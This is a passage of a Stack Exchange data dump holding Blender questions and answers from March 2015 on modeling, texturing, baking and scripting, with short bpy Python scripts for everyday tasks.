  <row Id="27508" PostTypeId="2" ParentId="27505" CreationDate="2015-03-22T21:05:21.910" Score="10" Body="&lt;p&gt;To make Proportional Editing work on the mesh you need to change pivot point from Individual Origin to Median Point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/latKY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-03-22T21:05:21.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27509" PostTypeId="2" ParentId="27503" CreationDate="2015-03-22T21:48:47.253" Score="2" Body="&lt;p&gt;select the object  set the addition value and Run this script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;addition = 0.1&#xA;&#xA;obj = bpy.context.active_object&#xA;obj_data = obj.data&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;for vert in obj_data.vertices:&#xA;    for g in obj_data.vertices[vert.index].groups:&#xA;            g.weight  = g.weight +addition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-22T22:23:15.000" LastActivityDate="2015-03-22T22:23:15.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27510" PostTypeId="1" CreationDate="2015-03-22T22:27:38.873" Score="2" ViewCount="347" Body="&lt;p&gt;I am using version 2.73 under Windows7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This refers to page &lt;a href=&quot;http://www.blender.org/manual/modeling/texts/introduction.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/modeling/texts/introduction.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can read at the top in the box labelled &quot;Reference&quot;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Panel: Curve and Surface, Font and Char (Editing context, F9)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in Edit mode (which I gather is not the same thing as &quot;Editing context&quot;) and F9 does absolutely nothing for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowhere in the properties window can I see anything like &quot;Curve and Surface&quot;??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find a panel called &quot;Font&quot; but neither &quot;Char&quot; nor &quot;Font and Char&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!!&lt;/p&gt;&#xA;" OwnerUserId="13326" LastActivityDate="2015-03-22T22:27:38.873" Title="Can someone tell me what an &quot;Editing context&quot; is and how to get there?" Tags="&lt;editing&gt;&lt;text-object&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27511" PostTypeId="1" AcceptedAnswerId="27512" CreationDate="2015-03-22T23:38:30.543" Score="5" ViewCount="568" Body="&lt;p&gt;How do I animate a strip so that it looks like it's being drawn over time, as though it were produced by actual writing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a direct way to make it. For now I am using a surrogate method - make an array of planes and add it to a curve path, then animate the array count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTNZP.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="10981" LastEditorUserId="25" LastEditDate="2015-03-23T03:49:39.177" LastActivityDate="2015-03-23T15:06:07.653" Title="How to make moving strip?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-23T13:13:27.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="27512" PostTypeId="2" ParentId="27511" CreationDate="2015-03-22T23:44:32.617" Score="5" Body="&lt;p&gt;You can use a curve to do this. in order to make it into a tube you need to set the fill to full and raise the bevel depth and resolution. You can then animate the start value to control the end of the strip. If you need to scale up or down the ends, select a point on you curve and use &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xA;To animate, the start value hover over the input box and it &lt;kbd&gt;I&lt;/kbd&gt; to add a keyframe. The navigate to the other end of your animate, set the value down/up then hit &lt;kbd&gt;I&lt;/kbd&gt; again to add another keyframe. Keyframes can be remved with &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFVhK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;The green lines in this gif were created using this technique in blender&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DFvSy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Single image with settings&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Green squiggles file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/128/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=128&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-03-23T15:06:07.653" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27513" PostTypeId="2" ParentId="27506" CreationDate="2015-03-22T23:52:07.087" Score="1" Body="&lt;p&gt;this will remove the selected vertices from all groups except the active one :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the shield vertices &lt;/li&gt;&#xA;&lt;li&gt;select the vertex groub with the shield-bone name&lt;/li&gt;&#xA;&lt;li&gt;run the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;verts = [i.index for i in obj.data.vertices if i.select]&#xA;act_g = obj.vertex_groups.active&#xA;groups = [g for g in obj.vertex_groups if g.name != act_g.name ]&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;for g in groups :&#xA;    g.remove(verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-22T23:52:07.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27514" PostTypeId="2" ParentId="18337" CreationDate="2015-03-23T00:05:24.677" Score="0" Body="&lt;p&gt;I just tested this and I did it with textures mapped onto each object.  At first, I though it did not work. One texture was now mapped onto both parts. I clicked to wire frame to see if all internal elements of the ball and cube were removed as they should be in the union-ed object. When I clicked on textured view i got the correct texture on each part as is should be.  After applying the modifier, it looked right in texture view, but had only texture in material view.  My experience is if you want to export the item for something like 3d printing, you need it to look right in material view. The only way I found so far to get this is to be sure one object is fully selected in edit mode and one is not selected. After you apply the modifier, the selected vertex groups are still in that state. That makes it easy to create 2 proper textures in the union-ed product.  If you find an easier way, please share :)  &lt;/p&gt;&#xA;" OwnerUserId="13328" LastActivityDate="2015-03-23T00:05:24.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27515" PostTypeId="2" ParentId="27376" CreationDate="2015-03-23T00:44:32.077" Score="1" Body="&lt;p&gt;Here is the script which :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;goes thorough vertices and find the highest &lt;/li&gt;&#xA;&lt;li&gt;select it and what is linked to it&lt;/li&gt;&#xA;&lt;li&gt;separate it with separate(selected)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;after applying the edge split modifier run this script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action ='DESELECT')&#xA;max = -9999&#xA;for i in obj.data.vertices :&#xA;    if i.co[2] &amp;gt; max :&#xA;        max_ind = i.index&#xA;        max  = i.co[2]&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;obj.data.vertices[max_ind].select = True&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_linked()&#xA;bpy.ops.mesh.separate(type='SELECTED')&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&#xA;#bpy.context.selected_objects[0].location[2] +=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T00:44:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27516" PostTypeId="1" AcceptedAnswerId="27517" CreationDate="2015-03-23T01:30:34.080" Score="7" ViewCount="754" Body="&lt;p&gt;When I paint on this texture and save, it kind of resets at the seams and gets these strange parts (didn't happen with another texture):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJZur.png&quot; alt=&quot;Clone brushed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4B5yM.jpg&quot; alt=&quot;Reset seams&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .jpg that is saved contains these strange little grainy textures at the seams again.&lt;br&gt;&#xA;Also when I paint at these spots with the draw brush and save, it kind of makes the new drawn color transparent over the grainy texture and shows it up again.&#xA;It is only at the seam, tried to work around it but I don't have a clue what causes it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this might have happened to someone else and probably asked before, so I apologize for a possible double question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="599" LastEditDate="2015-03-23T10:28:14.317" LastActivityDate="2015-03-24T05:45:33.060" Title="What are these spots appearing along seams?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27517" PostTypeId="2" ParentId="27516" CreationDate="2015-03-23T01:40:40.300" Score="8" Body="&lt;p&gt;These look like &lt;a href=&quot;http://en.wikipedia.org/wiki/JPEG#Effects_of_JPEG_compression&quot;&gt;jpg compression artifacts&lt;/a&gt;. jpg is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Lossy_compression&quot;&gt;lossy format&lt;/a&gt;, which means that the saved image is not exactly what it was originally (the difference depends on the quality setting the file was saved with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage to lossy compression is that jpg files are typically very small compared to lossless formats. However it's not the best format to use during production, especially when a file is being edited and re-saved a lot. When saved in a lossy format repeatedly, the image will gradually lose quality. This process is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Generation_loss&quot;&gt;generation loss&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try saving to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Network_Graphics#JPEG&quot;&gt;lossless format like png&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-03-23T01:49:01.480" LastActivityDate="2015-03-23T01:49:01.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27518" PostTypeId="1" CreationDate="2015-03-23T02:39:42.387" Score="3" ViewCount="178" Body="&lt;p&gt;I'm trying to use the Network Render over several computers and everything starts out great. All of my slaves connect just fine. After awhile of things processing though, the slaves get disconnected (Or at least they don't show up anymore) and I'm left with a few error ridden frames. When I go to check blender running on the slaves, they haven't crashed or anything. Does anyone know what might be happening?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-12-20T16:01:13.067" Title="Network rendering disconnects computers" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27519" PostTypeId="1" AcceptedAnswerId="27521" CreationDate="2015-03-23T02:39:46.813" Score="8" ViewCount="4440" Body="&lt;p&gt;I am working with multiple objects that have different UV names, I would like to know if there is a quick solution for renaming UVs of all the objects to UVMap&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2020-05-02T17:48:07.103" Title="How to rename UVs of all the objects?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27521" PostTypeId="2" ParentId="27519" CreationDate="2015-03-23T03:02:43.977" Score="12" Body="&lt;p&gt;select all objects and run the script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects :&#xA;    for uvmap in  obj.data.uv_layers :&#xA;        uvmap.name = 'UVMap'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T03:02:43.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27522" PostTypeId="1" CreationDate="2015-03-23T06:34:20.790" Score="1" ViewCount="793" Body="&lt;p&gt;I have a simple FPS setup, but pressing p to play will not do anything. Is there any information available for this kind of problem? I set as blender game, and it will not do anything but animations. The file came from blender artist thing.  if you can tell me how I can put the file here, so someone else can try it and see if there is something I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted the link to the file I am having trouble with.  It is from 2006 apparently, so maybe it is from an older version of blender.  however if anyone can get it to work I learn much easier by seeing something in action than trying to follow fast talking tutorials on youtube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am Aware now that this can be fixed using an older version, I think it should be amended to work in the current version, so myself and others are not frustrated learning to use blender.  I am not familiar yet enough to fix it, but I think it might be looked at as a tutorial file.&lt;/p&gt;&#xA;" OwnerUserId="13206" LastEditorUserId="13206" LastEditDate="2015-03-23T18:30:04.470" LastActivityDate="2015-04-11T06:19:38.883" Title="I am unable to preview any game play in blender" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27523" PostTypeId="2" ParentId="27506" CreationDate="2015-03-23T07:26:43.790" Score="2" Body="&lt;p&gt;Like it was stated, you need to remove unneeded vertex groups from the shield.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Weight Paint&lt;/strong&gt; mode, select the vertices you want to clear. Back in the &lt;strong&gt;Vertex Groups&lt;/strong&gt;, click the down arrow icon. There's an option to either remove &lt;em&gt;all groups&lt;/em&gt; from selected vertices, or only the &lt;em&gt;active group&lt;/em&gt;. Best to remove all groups in your case and manually add the driving group back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxA0c.png&quot; alt=&quot;Remove from All Groups location&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2015-03-23T07:26:43.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27525" PostTypeId="1" AcceptedAnswerId="27533" CreationDate="2015-03-23T10:47:02.687" Score="1" ViewCount="959" Body="&lt;p&gt;I've created 3 cameras in my scene and I need to go from the first to the last always in camera view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong is that if I start my code in camera perspective, the camera changes and so do the view correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if i launch my code in user perspective, the cameras will switch correctly but the view not until the end, where it will go in the last camera's perspective&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for w in bpy.context.window_manager.windows:&#xA;    s = w.screen&#xA;    for a in s:&#xA;        if a.type = 'VIEW_3D':&#xA;            for r in a.regions:&#xA;                if r.type='WINDOW':&#xA;                    override = {'window':w, 'screen':s, 'area':a, 'region':r}    &#xA;&#xA;by.ops.view3d.viewnumpad(override, type='CAMERA')&#xA;for c in [c for c in bpy.context.scene.objects if c.type == 'CAMERA']:&#xA;    bpy.context.scene.camera = c&#xA;    bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations = 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like the viewnumpad() is not triggering correctly the view before the switching. How can fix it?&lt;/p&gt;&#xA;" OwnerUserId="13333" LastEditorUserId="13333" LastEditDate="2015-03-23T11:28:33.353" LastActivityDate="2015-03-23T14:24:59.960" Title="Switching camera view on multiple cameras form python" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27526" PostTypeId="1" AcceptedAnswerId="27527" CreationDate="2015-03-23T11:11:33.820" Score="14" ViewCount="16269" Body="&lt;p&gt;This happens pretty much every time I try to bake normal maps. It's quite a broad error message and I still don't know exactly what the problems I'm having are, only that if I keep clicking things for half an hour eventually it sometimes just works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of the things needed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &quot;Generated&quot; blender Image that the normals are written to (In UV/Image Editor, click Image-&gt;New)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tell blender that this is the bake output, below (&lt;strong&gt;this is the really confusing bit&lt;/strong&gt; which blender seems to try to guess and fails)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A UV Map for the low poly model (you only need the geometry of the high poly and it doesn't need a UV map)&lt;/li&gt;&#xA;&lt;li&gt;Under Bake, in the rendering tab:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bake Mode = Normals&lt;/li&gt;&#xA;&lt;li&gt;Normal Space = Tangent&lt;/li&gt;&#xA;&lt;li&gt;Selected to Active = &lt;strong&gt;✓&lt;/strong&gt; (for the next bit)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the high rez object &lt;em&gt;first&lt;/em&gt;, then the low poly object&lt;/li&gt;&#xA;&lt;li&gt;With the two objects selected, click Bake (you may have to move the mouse to see the error pops up)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, from what I can tell the only &lt;a href=&quot;https://blender.stackexchange.com/questions/14293/baking-a-normal-map-cycles-or-blender-render&quot;&gt;difference between cycles and blender render&lt;/a&gt; (with regard to the setup and apart from the internals of baking) is how blender finds the output image:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cycles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a material using an ImageTexture node which points to your normal map output. Then &lt;a href=&quot;https://blender.stackexchange.com/a/13509/1713&quot;&gt;this answer&lt;/a&gt; says the node must be selected, but &lt;a href=&quot;https://blender.stackexchange.com/questions/26382/problem-baking-normal-map&quot;&gt;this&lt;/a&gt; doesn't mention selecting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender Render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a texture attached to the material that uses the image. &lt;a href=&quot;http://cgcookie.com/blender/2010/06/30/normal_maps_blender_2_5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tutorial&lt;/a&gt; is pretty vague on assigning the output image. Sometimes I've found hitting tab to go to edit mode and selecting the normal map image in the UV editor to help, or at least it seemed to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to know the exact details of what blender goes looking for when you hit Bake, rather than have to guess by following tutorials. For example, it seems to look for the high and low poly objects in your selection and based off the order you select them. &lt;strong&gt;How does it find the normal map/image to write to for both cycles and blender render?&lt;/strong&gt; Does the Texture need to Influence Normals or does it just need to reference the Image? etc...&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2018-01-04T20:09:38.320" Title="Baking normal maps in blender: &quot;Error: No objects or images found to bake to&quot;" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;image&gt;&lt;texture-baking&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27527" PostTypeId="2" ParentId="27526" CreationDate="2015-03-23T11:19:14.067" Score="14" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;Cycles bakes to the last selected image texture node in the object's material. Note that the node doesn't need to be connected to anything.&lt;/p&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;This one is a bit confusing and non intuitive. You are mostly correct, you must assign all the faces to the texture as a &lt;em&gt;Face texture&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is done by selecting the target image in the UV image editor while all faces are selected in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-23T11:32:22.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27528" PostTypeId="1" CreationDate="2015-03-23T12:33:09.753" Score="0" ViewCount="307" Body="&lt;p&gt;There are these well known shading artifacts when you have edges on a flat surface and put it on smooth shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the edge split modifier on an object and put it on the angle mode it will remove these artifacts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I mark the edges as sharp and use the sharp edges mode it will still show these artifacts though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just curious why it doesn't remove them then.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-03-23T12:33:09.753" Title="Edge split modifier with angle removes smooth shading artifacts" Tags="&lt;modeling&gt;&lt;shaders&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27530" PostTypeId="1" AcceptedAnswerId="27534" CreationDate="2015-03-23T13:00:06.347" Score="0" ViewCount="339" Body="&lt;p&gt;First I import a cone next to a box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0nh2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cone has a good position in the X axis but not in the Y and Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I translate it to this position :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YX3C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I want about 1 mm between the edges of the box and the center of the cone. I was wondering how can I translate the cone to that position (which is linked to the box) with a python script ?&lt;/p&gt;&#xA;" OwnerUserId="12685" LastActivityDate="2015-03-23T14:59:44.537" Title="How to position the origin of an object next to edges of another object with python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27531" PostTypeId="1" CreationDate="2015-03-23T13:42:01.087" Score="12" ViewCount="1802" Body="&lt;p&gt;Is there any trick to increase performance in background-only tiles in cycles. As you can see in the pictures, an empty render takes more than one minute. When you render motion graphics animations, there are a lot of these empty tiles in every frame, so it would decrease reder times quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4fjp.png&quot; alt=&quot;settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7K06F.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="31447" LastEditDate="2020-03-07T13:53:53.157" LastActivityDate="2020-03-07T13:53:53.157" Title="Optimize cycles background rendering" Tags="&lt;cycles-render-engine&gt;&lt;workflow&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27532" PostTypeId="1" CreationDate="2015-03-23T14:06:01.930" Score="2" ViewCount="83" Body="&lt;p&gt;When sculpting with &quot;Dynamic Topology&quot;, is it possible for the polygon size to change depending on the size of the sculpted area? Basically, I want the polygon size to change the same way it does in Sculptris. Very often I find it difficult and time consuming to change the Constant size manually and Sculptris just makes that sweet balance between appearance and performance automatically so you can focus on sculpting only. Is that possible in Blender somehow? Or maybe some add-on of some sort? I wanted to use Sculptris for sculpting, but it has some missing stuff that I like so much like more brushes etc.. and import- export between the two programs so many times is anoying.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-03-25T15:06:27.957" LastActivityDate="2015-03-25T15:06:27.957" Title="Dynamic polygon size for sculpted area" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27533" PostTypeId="2" ParentId="27525" CreationDate="2015-03-23T14:24:59.960" Score="0" Body="&lt;p&gt;The problem appears clearly when moving from any view to camera_view but it is also present when moving from camera_view to another (you can see that the view change from camera than hold still and then change at last) and it is caused by the &lt;code&gt;ED_view3d_smooth_view_ex()&lt;/code&gt; ( &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/space_view3d/view3d_view.c;e8b6d86f9514b86daefe6ee0182c57d794b603f9$164&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; ) function  and as you can see in the source code it is skipped if you are in render view , so for checking you can switch to render view and the code will run as expected &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here some code to make the transition clear (watch the view and console ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context):&#xA;    print('******************************************************')&#xA;    bpy.ops.view3d.viewnumpad(type='CAMERA')&#xA;    bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations = 1)&#xA;    print('sleep')&#xA;    time.sleep(8)&#xA;    print('wake')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;( it may have something to do with timers ) &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T14:24:59.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27534" PostTypeId="2" ParentId="27530" CreationDate="2015-03-23T14:59:44.537" Score="0" Body="&lt;p&gt;If both objects origins are at their centers ; set their names in the script and run it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;cone = bpy.data.objects['Cone']&#xA;box = bpy.data.objects['Cube']&#xA;&#xA;edge = box.dimensions[2]/2 + box.location[2]&#xA;cone.location[2] = edge-0.1  #assuming 1BU-&amp;gt;1cm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T14:59:44.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27535" PostTypeId="1" CreationDate="2015-03-23T15:04:29.397" Score="4" ViewCount="224" Body="&lt;p&gt;In the blender documentation I found the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Event.html?highlight=textinput#bpy.types.Event.type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;TEXTINPUT&lt;/code&gt;&lt;/a&gt; event type. I couldn't find any information about it. How it does it work? When can we use it? Is it only for the game engine or can we use it in common scripts?&lt;/p&gt;&#xA;" OwnerUserId="9484" LastEditorUserId="599" LastEditDate="2015-06-09T08:41:29.333" LastActivityDate="2015-06-09T11:03:42.673" Title="What is event.type TEXTINPUT used for?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27536" PostTypeId="1" CreationDate="2015-03-23T15:34:04.640" Score="5" ViewCount="5052" Body="&lt;p&gt;I have 24 points which correspond to 12 different &quot;elements&quot; (2 points per element) saved in an .csv file with the following column order (1: Element Name, 2: x, 3: y, 4: z). &#xA;I would like to import them so that there will be an edge between the two points for every element. &#xA;Alternatively if this is not possible. It would be great to import all the points as separate elements. So I can know which points correspond to which element by the order of import. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is great and I would like to extend this to the first six point:&#xA;I tried to update your code with the edges I want, but it fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does ensure_lookup_table() do ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In if row[0] there is only one vert. How can I add more ?&#xA;The Ideal solution would be select 1,6 or all verts and make a mesh. &#xA;The order of the edges would be cool to have but if too much hustle. &#xA;Just importing 1, 6 or all verts and connecting them to a mesh would good.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my attempt to updated your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import csv&#xA;from mathutils import Vector&#xA;from bpy_extras.object_utils import object_data_add&#xA;&#xA;csvfile = open('path2csvfile')&#xA;&#xA;inFile = csv.reader(csvfile, delimiter=',', quotechar='&quot;')&#xA;# skip header&#xA;inFile.__next__()&#xA;&#xA;for row in inFile:&#xA;    #  column order (0: Element Name, 1: x, 2: y, 3: z)&#xA;    if row[0] not in bpy.data.objects:&#xA;        vert = [Vector((float(row[1]),float(row[2]),float(row[3])))]&#xA;        mesh = bpy.data.meshes.new(name=row[0])&#xA;        